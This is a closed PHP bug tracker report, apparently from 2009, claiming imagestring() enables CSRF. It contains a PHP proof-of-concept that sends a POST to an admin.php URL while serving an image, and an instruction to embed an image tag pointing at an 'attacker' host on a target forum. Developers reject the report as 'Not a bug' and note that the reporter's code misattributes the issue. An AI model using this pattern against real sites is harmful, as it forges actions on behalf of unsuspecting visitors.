php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #47939 imagestring() csrf
Submitted: 2009-04-09 21:10 UTC Modified: 2009-04-10 13:04 UTC
Votes:1
Avg. Score:3.0 ± 0.0
Reproduced:0 of 0 (0.0%)
From: elmasterlow at gmail dot com Assigned:
Status: Not a bug Package: GD related
PHP Version: 5.3CVS-2009-04-09 (CVS) OS: *
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: elmasterlow at gmail dot com
New email:
PHP Version: OS:

 

 [2009-04-09 21:10 UTC] elmasterlow at gmail dot com
Description:
------------
With this vulnerability we could do any function in php on image.
In this case the vulnerability can be used to do a CSRF attack.
We can insert the img in BB tags at random forum for example.
I think there is any possible way to make a js code...

Reproduce code:
---------------
<?
header('Content-Type: image/png');
$img = 'obrazek.png';
$data = array ('foo' => 'bar', 'foo2' => 'bar2');
$data = http_build_query($data);
$context_options = array ('http' => array(
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: ".strlen($data)."\r\n",
'content' => $data
));
$context = stream_context_create($context_options);
$fp = fopen('http://example.com/admin.php', 'r', false, $context);
imagestring($im, 1, 5, 5, fpassthru($fp) . $img, $tc);
imagepng($im);
imagedestroy($im);
?>

Expected result:
----------------
Insert [img]http://attacker/image.php[/img] on target site to do any function in image.


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2009-04-10 12:28 UTC] jani@php.net
With which PHP version did you test this?
 [2009-04-10 13:04 UTC] pajoye@php.net
Why is it a imagestring problem? You can build attacks using php or any other languages.

imagestring will simply draw a text using the number of characters sent by fpassthru, which will be executed before imagestring. That's the same as doing:

header('Content-Type: image/png');
fpassthru($fp);

// create an image, draw something, sent it
// ...
imagepng($im);


 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Apr 28 20:01:29 2024 UTC